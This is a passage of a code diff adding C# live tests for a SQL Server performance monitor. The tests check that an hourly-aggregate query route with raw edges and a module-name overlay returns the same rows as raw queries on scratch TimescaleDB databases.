+        Assert.Equal(5000 + 7 + 4000 + 3 + 2500 + 90 + 6000 + 123456, ValueOf(raw, "MixedDb"), 6);
+    }
+
+    /// <summary>The premise pin for the whole route. The guard compares row COUNTS, so it can only see rows that appear
+    /// or disappear. An in-place UPDATE keeps the count, passes the guard, and the hybrid serves the aggregate's stale
+    /// value. This fact documents that on purpose: the route is only exact because raw query_stats is append-only.</summary>
+    [Fact]
+    public async Task APlantedInPlaceUpdate_PassesTheCountGuard_AndTheHybridDiffersFromRaw_ThePremisePin()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        await using (var update = new NpgsqlCommand(
+            "UPDATE collect.query_stats SET delta_worker_time = delta_worker_time + 1000000 WHERE database_name = 'MixedDb' AND collection_time = $1", store.Connection))
+        {
+            update.Parameters.AddWithValue(DateTime.SpecifyKind(store.Layout.H1.AddHours(3).AddMinutes(10), DateTimeKind.Unspecified));
+            Assert.Equal(1, await update.ExecuteNonQueryAsync(store.Ct));
+        }
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase);
+        const string Premise = "the hourly-raw-edges route relies on raw query_stats being append-only (COPY-only writes, whole-row retention); an in-place UPDATE passes the count guard unseen. If this ever starts failing because the rows match, the premise or the guard changed: re-check both.";
+        Assert.True(((string)hybrid["sql"]!).Contains(Hybrid, StringComparison.Ordinal), Premise);
+        Assert.False(raw.ToJsonString() == hybridRows(hybrid), Premise);
+    }
+
+    [Fact]
+    public async Task AScopedPanel_TakesTheRoute_WhenOnlyAnotherServerMismatches_AndTheFleetPanelDoesNot()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        /* one more measured row in a middle hour for server B ONLY, after the refresh: B's count now disagrees with its
+           aggregate, A's does not */
+        await QsAsync(store, ServerB, "MixedDb", "HM", "0xM", store.Layout.H2.AddHours(-1).AddMinutes(20), 123456, 300);
+
+        /* scoped to A: the guard binds a non-null text[] for $3, finds no mismatch in A's scope, and the route is taken */
+        var (scoped, scopedRaw) = await RunBothAsync(store, PanelByDatabase, ServerA);
+        AssertHybridTaken(scoped);
+        Assert.Equal(scopedRaw.ToJsonString(), hybridRows(scoped));
+        Assert.Equal(5000 + 7 + 4000 + 2500 + 90 + 6000, ValueOf(scopedRaw, "MixedDb"), 6);
+
+        /* the converse, same store and same panel at fleet scope: B's mismatch is now in scope, so the route is NOT taken
+           and the answer is raw's, including the late row */
+        var fleet = await RunAsync(store, PanelByDatabase);
+        Assert.True(fleet.Error is null, $"compose run failed: {fleet.Error}");
+        Assert.DoesNotContain("_interval_hourly", (string)fleet.Payload!["sql"]!, StringComparison.Ordinal);
+        var (_, fleetRaw) = await RunBothAsync(store, PanelByDatabase, null);
+        Assert.Equal(fleetRaw.ToJsonString(), hybridRows(fleet.Payload!));
+        Assert.Equal(5000 + 7 + 4000 + 3 + 2500 + 90 + 6000 + 123456, ValueOf(fleetRaw, "MixedDb"), 6);
+    }
+
+    [Fact]
+    public async Task AWindowStartingExactlyOnTheHour_TakesTheRoute_WithH1EqualToTheStart_AndMatchesRaw()
+    {
+        /* hours = 24 at a whole-hour anchor: start is exactly on an hour. CeilHour leaves an exact hour alone, so h1 == start;
+           FloorHour of an exact-hour end is the end itself, so h2 == end. */
+        await using var store = await StoreAsync(OnTheHourAnchor);
+        var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+        Assert.Equal(store.WindowStart, h1);
+        Assert.Equal(store.WindowEnd, h2);
+
+        await SeedAnchorAsync(store);
+        await QsAsync(store, ServerA, "OnHourDb", "HH", "0xH", h1.AddSeconds(-1), 5000, 300);
+        await QsAsync(store, ServerA, "OnHourDb", "HH", "0xH", h1, 10, 300);
+        await QsAsync(store, ServerA, "OnHourDb", "HH", "0xH", h2, 20, 300);
+        await store.RefreshAsync();
+
+        var (hybrid, raw) = await RunBothAsync(store, PanelByDatabase, relativeWindow: true);
+                AssertHybridTaken(hybrid);
+        Assert.Equal(raw.ToJsonString(), hybridRows(hybrid));
+        /* the row one second before the start is outside the window; the rows exactly on the start and on the end are inside */
+        Assert.Equal(10 + 20, ValueOf(raw, "OnHourDb"), 6);
+    }
+
+    [Fact]
+    public void ThisClass_ReadsNoWallClock_AndNeverWaits()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "Darling.Tests", "ComposeHourlyRawEdgesGuardLiveTests.cs");
+        /* the needles are assembled so this pin does not match itself */
+        foreach (var needle in new[] { "Utc" + "Now", "Date" + "Time.Now", "Offset" + ".Now", "Task." + "Delay", "Thread." + "Sleep", "Time" + "Provider" })
+        {
+            Assert.DoesNotContain(needle, source, StringComparison.Ordinal);
+        }
+    }
+
+    /* ---- helpers ---- */
+
+    private static string hybridRows(JsonObject payload) => payload["rows"]!.ToJsonString();
+
+    private static void AssertHybridTaken(JsonObject payload) =>
+        Assert.Contains(Hybrid, (string)payload["sql"]!, StringComparison.Ordinal);
+
+    private static double ValueOf(JsonArray rows, string database)
+    {
+        var row = rows.OfType<JsonObject>().First(r => r["database_name"]?.GetValue<string>() == database);
+        /* the panel answers in its display unit (ms); the seeds are microseconds */
+        return row["value"]!.GetValue<double>() * 1000.0;
+    }
+
+    /// <summary>#5525: the hourly-plus-raw-edges statement scoped by server id returns the rows the same statement scoped by
+    /// <c>server_name</c> returned. The edges route was pinned on text only, and its raw comparison goes through the by-id scope on both
+    /// sides, so this runs the route's own SQL both ways on the planted store.</summary>
+    [Fact]
+    public async Task TheHourlyEdgesRoute_ScopedById_ReturnsTheRowsItReturnedScopedByName()
+    {
+        await using var store = await StoreAsync();
+        await SeedMixedAsync(store);
+
+        var outcome = await RunAsync(store, PanelByDatabase, ServerA);
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+        AssertHybridTaken(outcome.Payload!);
+
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(store.DataSource, store.Ct);
+        var (plan, parseError) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(PanelByDatabase)!, Array.Empty<string>());
+        Assert.True(parseError is null, parseError);
+        var candidate = ComposeSourceRouter.HourlyRawEdgesCandidate(plan!, store.Anchor, store.WindowStart, store.WindowEnd, rollups, coverage);
+        Assert.NotNull(candidate);
+        var scope = new[] { ServerA };
+        var context = new ComposeRunContext(
+            scope, store.WindowStart, store.WindowEnd, ComposeRunContext.NoVariables, rollups, store.Anchor, coverage,
+            HourlyEdges: new ComposeHourlyEdgesVerdict(candidate!.SourceTable, candidate.HourStartUtc, candidate.HourEndUtc, scope));
+        var (compiled, compileError) = ComposeCompiler.Compile(plan!, context);
+        Assert.True(compileError is null, compileError);
+        Assert.Contains(Hybrid, compiled!.Sql, StringComparison.Ordinal);
+
+        const string byId = "f.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))";
+        Assert.Contains(byId, compiled.Sql, StringComparison.Ordinal);
+        var byName = compiled.Sql.Replace(byId, "f.server_name = ANY($3)", StringComparison.Ordinal);
+        Assert.DoesNotContain("collect.servers", byName, StringComparison.Ordinal);
+
+        var idRows = await RowsAsync(store, compiled.Sql, compiled);
+        var nameRows = await RowsAsync(store, byName, compiled);
+        Assert.NotEmpty(idRows);
+        Assert.Equal(nameRows, idRows);
+        Assert.Equal(hybridRows(outcome.Payload!), JsonNode.Parse(idRows)!.ToJsonString());
+    }
+
+    private static async Task<string> RowsAsync(Store store, string sql, ComposeCompiled compiled)
+    {
+        await using var connection = await store.DataSource.OpenConnectionAsync(store.Ct);
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = parameter.NpgsqlDbType, Value = parameter.Value });
+        }
+
+        var rows = new JsonArray();
+        await using var reader = await command.ExecuteReaderAsync(store.Ct);
+        while (await reader.ReadAsync(store.Ct))
+        {
+            var row = new JsonObject();
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                row[reader.GetName(i)] = reader.IsDBNull(i) ? null : DarlingWebEndpoints.DbValueToJson(reader.GetValue(i));
+            }
+
+            rows.Add(row);
+        }
+
+        return rows.ToJsonString();
+    }
+
+    /// <summary>Runs the panel through the runner and through a raw compile of the same window, and returns both payloads'
+    /// rows: the runner's payload, and the raw rows as a JSON array.</summary>
+    private static async Task<(JsonObject Hybrid, JsonArray Raw)> RunBothAsync(Store store, string panelJson, string? scope = null, bool relativeWindow = false)
+    {
+        var outcome = await RunAsync(store, panelJson, scope, relativeWindow);
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(store.DataSource, store.Ct);
+        var (plan, parseError) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(panelJson)!, Array.Empty<string>());
+        Assert.True(parseError is null, parseError);
+
+        /* the route must have been a candidate for exactly the hours this test computed, or the layout is wrong */
+        var candidate = ComposeSourceRouter.HourlyRawEdgesCandidate(plan!, store.Anchor, store.WindowStart, store.WindowEnd, rollups, coverage);
+        Assert.NotNull(candidate);
+        Assert.Equal(store.Layout.H1, candidate!.HourStartUtc);
+        Assert.Equal(store.Layout.H2, candidate.HourEndUtc);
+
+        var rawContext = new ComposeRunContext(scope is null ? null : new[] { scope }, store.WindowStart, store.WindowEnd, ComposeRunContext.NoVariables, rollups, store.Anchor, coverage);
+        var (compiled, compileError) = ComposeCompiler.Compile(plan!, rawContext);
+        Assert.True(compileError is null, compileError);
+        Assert.DoesNotContain("_interval_hourly", compiled!.Sql, StringComparison.Ordinal);
+
+        await using var connection = await store.DataSource.OpenConnectionAsync(store.Ct);
+        await using var command = new NpgsqlCommand(compiled.Sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var rows = new JsonArray();
+        await using var reader = await command.ExecuteReaderAsync(store.Ct);
+        while (await reader.ReadAsync(store.Ct))
+        {
+            var row = new JsonObject();
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                row[reader.GetName(i)] = reader.IsDBNull(i) ? null : DarlingWebEndpoints.DbValueToJson(reader.GetValue(i));
+            }
+
+            rows.Add(row);
+        }
+
+        Assert.NotEmpty(rows);
+        return (outcome.Payload!, rows);
+    }
+
+    /// <summary>Runs the panel at the store's anchor. By default the window is the explicit pair; with
+    /// <paramref name="relativeWindow"/> the body carries <c>hours = 24</c> instead, and the runner computes the same window
+    /// itself (end = the anchor, start = 24 h before it). A scope puts the server name in the body's <c>server</c> field.</summary>
+    private static async Task<DarlingWebEndpoints.ComposeRunOutcome> RunAsync(Store store, string panelJson, string? scope = null, bool relativeWindow = false)
+    {
+        var body = new JsonObject { ["panel"] = JsonNode.Parse(panelJson) };
+        if (relativeWindow)
+        {
+            body["hours"] = 24;
+        }
+        else
+        {
+            body["windowStart"] = DateTime.SpecifyKind(store.WindowStart, DateTimeKind.Unspecified).ToString("o", CultureInfo.InvariantCulture);
+            body["windowEnd"] = DateTime.SpecifyKind(store.WindowEnd, DateTimeKind.Unspecified).ToString("o", CultureInfo.InvariantCulture);
+        }
+
+        if (scope is not null)
+        {
+            body["server"] = scope;
+        }
+
+        /* #4605: the count guard reads the hour ledger, and these facts plant raw rows with direct INSERTs that write none. Right
+           before the panel runs, play the writer: recount the ledger from raw over every hour the facts plant into, and move
+           counted_since below them (the V164 rung sets it to the next wall-clock hour, after this fixed past anchor). A row a fact
+           planted AFTER its refresh is then in the ledger and not in the rollup, as the writer would leave it, so the guard fails. */
+        await store.SeedLedgerAsync();
+        return await DarlingWebEndpoints.RunComposedPanelAsync(store.DataSource, body, store.Ct, nowUtc: store.Anchor);
+    }
+
+    /// <summary>One non-restart row per hour in [h1, h2), on the anchor group, so the successor has a bucket at h1 and a
+    /// measured ceiling at h2.</summary>
+    private static async Task SeedAnchorAsync(Store store)
+    {
+        for (var h = store.Layout.H1; h < store.Layout.H2; h = h.AddHours(1))
+        {
+            await QsAsync(store, ServerA, "AnchorDb", "HA", "0xA", h.AddMinutes(30), 1000, 300);
+        }
+    }
+
+    private static async Task QsAsync(Store store, string server, string database, string hash, string handle, DateTime at, long worker, int? interval)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $8, 1, $9)", store.Connection);
+        insert.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+        insert.Parameters.AddWithValue(server == ServerA ? ServerIdA : ServerIdB);
+        insert.Parameters.AddWithValue(server);
+        insert.Parameters.AddWithValue(database);
+        insert.Parameters.AddWithValue(hash);
+        insert.Parameters.AddWithValue(handle);
+        insert.Parameters.AddWithValue(worker);
+        insert.Parameters.AddWithValue(interval is int value ? value : DBNull.Value);
+        await insert.ExecuteNonQueryAsync(store.Ct);
+    }
+
+    private static async Task ProcAsync(Store store, string server, string database, string objectName, string handle, DateTime at, long workerTime = 1)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $8, 1, 300)", store.Connection);
+        insert.Parameters.AddWithValue(Interlocked.Increment(ref s_collectionId));
+        insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+        insert.Parameters.AddWithValue(server == ServerA ? ServerIdA : ServerIdB);
+        insert.Parameters.AddWithValue(server);
+        insert.Parameters.AddWithValue(database);
+        insert.Parameters.AddWithValue(objectName);
+        insert.Parameters.AddWithValue(handle);
+        insert.Parameters.AddWithValue(workerTime);
+        await insert.ExecuteNonQueryAsync(store.Ct);
+    }
+
+    private static async Task<Store> StoreAsync(DateTime? anchor = null)
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the #4605 hourly-raw-edges live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var at = anchor ?? Anchor;
+        var layout = Layout.For(at);
+
+        var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        NpgsqlConnection? connection = null;
+        NpgsqlDataSource? dataSource = null;
+        try
+        {
+            connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+            Assert.SkipWhen(!timescaleEnabled, "The hourly-raw-edges route reads a continuous aggregate: TimescaleDB is required.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerA, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerB, ct);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+            /* a FRESH data source per fact: the rollup and coverage probe is cached per data source */
+            dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            return new Store(scratch, connection, dataSource, at, layout, ct);
+        }
+        catch
+        {
+            if (dataSource is not null)
+            {
+                await dataSource.DisposeAsync();
+            }
+
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
+
+            await scratch.DisposeAsync();
+            throw;
+        }
+    }
+
+    private static DateTime FloorHour(DateTime value) => new(value.Year, value.Month, value.Day, value.Hour, 0, 0, DateTimeKind.Utc);
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        public Store(ScratchPostgres scratch, NpgsqlConnection connection, NpgsqlDataSource dataSource, DateTime anchor, Layout layout, CancellationToken ct)
+        {
+            _scratch = scratch;
+            Connection = connection;
+            DataSource = dataSource;
+            Layout = layout;
+            Ct = ct;
+            /* the window: 24 h ending at the anchor, so the test and the runner bind the same instants */
+            Anchor = anchor;
+            WindowEnd = anchor;
+            WindowStart = anchor.AddHours(-24);
+        }
+
+        public NpgsqlConnection Connection { get; }
+        public NpgsqlDataSource DataSource { get; }
+        public DateTime Anchor { get; }
+        public Layout Layout { get; }
+        public CancellationToken Ct { get; }
+        public DateTime WindowStart { get; }
+        public DateTime WindowEnd { get; }
+
+        /// <summary>Materializes the successor (or the one named) for every whole hour before h2.</summary>
+        public async Task RefreshAsync(string view = TimescaleSupport.QueryStatsIntervalHourlyView)
+        {
+            await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", Connection);
+            refresh.Parameters.AddWithValue(DateTime.SpecifyKind(Layout.H1.AddHours(-2), DateTimeKind.Unspecified));
+            refresh.Parameters.AddWithValue(DateTime.SpecifyKind(Layout.H2, DateTimeKind.Unspecified));
+            await refresh.ExecuteNonQueryAsync(Ct);
+        }
+
+        /// <summary>Makes the hour ledger what the collector's writer would have made it for the hours the facts plant into
+        /// (<see cref="QueryStatsLedgerSeed.SeedAsync"/>). The scratch database is dropped whole, so the ledger needs no cleanup.</summary>
+        public Task SeedLedgerAsync() => QueryStatsLedgerSeed.SeedAsync(Connection, Layout.H1.AddDays(-2), Layout.H2.AddDays(2), Ct);
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await Connection.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeHourlyRawEdgesModuleMapLiveTests.cs b/Darling/Darling.Tests/ComposeHourlyRawEdgesModuleMapLiveTests.cs
new file mode 100644
index 0000000000..912429784a
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeHourlyRawEdgesModuleMapLiveTests.cs
@@ -0,0 +1,556 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: the live exactness proof for the module-map overlay on the hourly-raw-edges Compose route. A panel that groups on
+/// <c>object_name</c> resolves a module name from <c>collect.module_map</c> plus a recent overlay of <c>procedure_stats</c>
+/// (everything at or after the map's watermark less the refresh slack) instead of ranking the whole window. Each fact seeds its
+/// own scratch store, seeds <c>procedure_stats</c> and <c>query_stats</c>, refreshes the map with an EXPLICIT clock (the
+/// anchor), and runs the same <c>database_name, object_name</c> panel two ways: through
+/// <see cref="DarlingWebEndpoints.RunComposedPanelAsync"/>, which reads the watermark inside its snapshot and so takes the
+/// overlay route, and through a raw compile of the same window (no verdict, no watermark). The payload rows must equal, byte for
+/// byte, the raw rows serialized with the runner's own value mapping, and the hybrid's SQL must name
+/// <c>module_map AS mm</c> (the overlay really ran, so the comparison is not raw against raw) and the interval table. The one
+/// fact where no watermark exists asserts the opposite: the SQL names no <c>module_map AS mm</c> and is today's, and the rows
+/// are equal all the same. Each fact also pins the module names it expects, so two routes that were both wrong cannot agree.
+///
+/// <para>The whole class runs on ONE fixed anchor (<see cref="Anchor"/>), passed to the runner as its <c>nowUtc</c> seam and to the
+/// map refresh as its clock. A rename that lands in the last minute between the window end and now is the one documented
+/// difference of the route, and no fact seeds one: every seed is at or before the window end.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every fact reaches DARLING_TEST_PG only to CREATE and
+   DROP its own database through ScratchPostgres, then works entirely inside it. */
+public sealed class ComposeHourlyRawEdgesModuleMapLiveTests
+{
+    private const int ServerIdA = -47001;
+    private const int ServerIdB = -47002;
+    private const string ServerA = "EdgesServerA";
+    private const string ServerB = "EdgesServerB";
+    private const string Database = "ModDb";
+    private const string Hybrid = "query_stats_interval_hourly AS mid";
+    private const string Overlay = "module_map AS mm";
+
+    private const string PanelByDatabaseAndObject =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":50,\"groupBy\":[\"database_name\",\"object_name\"],\"viz\":\"table\"}";
+
+    /// <summary>The one instant every fact runs at: 37 minutes and 21 seconds into an hour, so h1 is the next whole hour and h2
+    /// the whole hour before the anchor. Its kind is Utc, as the clock the runner reads is.</summary>
+    private static readonly DateTime Anchor = new(2026, 1, 5, 12, 37, 21, DateTimeKind.Utc);
+
+    private static long s_collectionId = Anchor.Ticks;
+
+    /// <summary>Where the hours fall for an anchor and a 24-hour window: h1 is the first whole hour at or after the window's
+    /// start, h2 the last whole hour at or before its end (the router's CeilHour and FloorHour).</summary>
+    private readonly record struct Layout(DateTime H1, DateTime H2)
+    {
+        public static Layout For(DateTime anchor)
+        {
+            var h2 = FloorHour(anchor);
+            var start = anchor.AddHours(-24);
+            var h1 = start == FloorHour(start) ? start : FloorHour(start).AddHours(1);
+            return new Layout(h1, h2);
+        }
+    }
+
+    [Fact]
+    public async Task ANewHandle_FirstSeenAfterTheWatermark_ReadsItsName_OnBothRoutes()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            await ProcAsync(store, ServerA, Database, "usp_Known", "0xK", h1.AddHours(2));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h2.AddHours(-1));
+            await QsAsync(store, ServerA, Database, "HK", "0xK", h1.AddHours(3).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HN", "0xN", h1.AddHours(5).AddMinutes(5), 1000, 300);
+            await QsAsync(store, ServerA, Database, "HN", "0xN", h2.AddMinutes(10), 10000, 300);
+            Assert.Equal(2, await store.RefreshMapAsync());
+            Assert.Equal(h2.AddHours(-1), await store.WatermarkAsync());
+
+            /* the new handle's first procedure_stats row lands after the refresh read: the map has never seen it */
+            await ProcAsync(store, ServerA, Database, "usp_New", "0xN", h2.AddMinutes(20));
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            AssertOverlayTaken(hybrid);
+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(1000 + 10000, ValueOf(raw, Database, "usp_New"), 6);
+            Assert.Equal(100, ValueOf(raw, Database, "usp_Known"), 6);
+        });
+    }
+
+    [Fact]
+    public async Task ARename_AfterTheWatermark_ReadsTheNewName_AndTheOldOneIsNotCountedAgain()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            await ProcAsync(store, ServerA, Database, "usp_Old", "0xR", h1.AddHours(2));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h2.AddHours(-1));
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h2.AddMinutes(10), 1000, 300);
+            Assert.Equal(2, await store.RefreshMapAsync());
+
+            /* the same handle is renamed after the refresh: the map still holds the old name, the overlay carries the new one */
+            await ProcAsync(store, ServerA, Database, "usp_Renamed", "0xR", h2.AddMinutes(20));
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            AssertOverlayTaken(hybrid);
+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(100 + 1000, ValueOf(raw, Database, "usp_Renamed"), 6);
+            Assert.DoesNotContain(raw.OfType<JsonObject>(), r => r["object_name"]?.GetValue<string>() == "usp_Old");
+        });
+    }
+
+    [Fact]
+    public async Task ARename_BeforeTheWatermark_AndPickedUpByTheRefresh_ReadsTheNewName()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            await ProcAsync(store, ServerA, Database, "usp_Old", "0xR", h1.AddHours(2));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h1.AddHours(3));
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h2.AddMinutes(10), 1000, 300);
+            Assert.Equal(2, await store.RefreshMapAsync());
+
+            /* the rename lands, then a second refresh reads it: the map now holds the new name and the watermark is past it */
+            await ProcAsync(store, ServerA, Database, "usp_Renamed", "0xR", h1.AddHours(6));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h2.AddHours(-1));
+            Assert.Equal(2, await store.RefreshMapAsync());
+            Assert.Equal(h2.AddHours(-1), await store.WatermarkAsync());
+            Assert.Equal("usp_Renamed", await store.MapObjectNameAsync(ServerA, "0xR"));
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            AssertOverlayTaken(hybrid);
+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(100 + 1000, ValueOf(raw, Database, "usp_Renamed"), 6);
+            Assert.DoesNotContain(raw.OfType<JsonObject>(), r => r["object_name"]?.GetValue<string>() == "usp_Old");
+        });
+    }
+
+    [Fact]
+    public async Task AMapHandle_LastSeenBeforeTheWindow_WithAQueryStatsRowInIt_ReadsAdHoc_OnBothRoutes()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            /* the module's only procedure_stats row is ten hours before the window opens, so the map holds it with last_seen
+               outside the window; the query_stats row of the same handle is inside it */
+            await ProcAsync(store, ServerA, Database, "usp_Stale", "0xS", store.WindowStart.AddHours(-10));
+            await ProcAsync(store, ServerA, Database, "usp_Filler", "0xW", h2.AddHours(-1));
+            await QsAsync(store, ServerA, Database, "HS", "0xS", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HS", "0xS", h2.AddMinutes(10), 1000, 300);
+            Assert.Equal(2, await store.RefreshMapAsync());
+            Assert.Equal("usp_Stale", await store.MapObjectNameAsync(ServerA, "0xS"));
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            AssertOverlayTaken(hybrid);
+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(100 + 1000, ValueOf(raw, Database, MeasureCatalog.AdHocLabel), 6);
+            Assert.DoesNotContain(raw.OfType<JsonObject>(), r => r["object_name"]?.GetValue<string>() == "usp_Stale");
+        });
+    }
+
+    [Fact]
+    public async Task WithNoStateRow_TheHybridCompilesTodaysSql_AndReadsTheSameNamesAsRaw()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            await ProcAsync(store, ServerA, Database, "usp_Old", "0xR", h1.AddHours(2));
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h2.AddMinutes(10), 1000, 300);
+            Assert.Equal(1, await store.RefreshMapAsync());
+
+            /* the map holds the old name; the state row is gone and the module is renamed afterwards, so a route that
+               leaned on the map would read the old name */
+            await ProcAsync(store, ServerA, Database, "usp_Renamed", "0xR", h2.AddMinutes(20));
+            await store.DeleteStateRowAsync();
+            Assert.Null(await store.WatermarkAsync());
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            Assert.Contains(Hybrid, (string)hybrid["sql"]!, StringComparison.Ordinal);
+            Assert.DoesNotContain(Overlay, (string)hybrid["sql"]!, StringComparison.Ordinal);
+            Assert.Equal(raw.ToJsonString(), HybridRows(hybrid));
+            Assert.Equal(100 + 1000, ValueOf(raw, Database, "usp_Renamed"), 6);
+        });
+    }
+
+    [Fact]
+    public async Task AStaleWatermark_OlderThanTheWindowStart_FloorsAtTheStart_AndMatchesRaw()
+    {
+        await RunLiveAsync(async store =>
+        {
+            var (h1, h2) = (store.Layout.H1, store.Layout.H2);
+            await SeedAnchorAsync(store);
+            /* the only row the refresh reads is before the window opens, so the watermark is older than the start */
+            await ProcAsync(store, ServerA, Database, "usp_Old", "0xR", store.WindowStart.AddHours(-6));
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h1.AddHours(4).AddMinutes(5), 100, 300);
+            await QsAsync(store, ServerA, Database, "HR", "0xR", h2.AddMinutes(10), 1000, 300);
+            await QsAsync(store, ServerA, Database, "HN", "0xN", h1.AddHours(8).AddMinutes(5), 10000, 300);
+            Assert.Equal(1, await store.RefreshMapAsync());
+            Assert.True(await store.WatermarkAsync() < store.WindowStart);
+
+            /* everything inside the window is unrefreshed: a rename of a mapped handle and a handle the map has never seen */
+            await ProcAsync(store, ServerA, Database, "usp_Renamed", "0xR", h1.AddHours(1));
+            await ProcAsync(store, ServerA, Database, "usp_Fresh", "0xN", h1.AddHours(7));
+            await store.RefreshAggregateAsync();
+
+            var (hybrid, raw) = await RunBothAsync(store, PanelByDatabaseAndObject);
+            AssertOverlayTaken(hybrid);
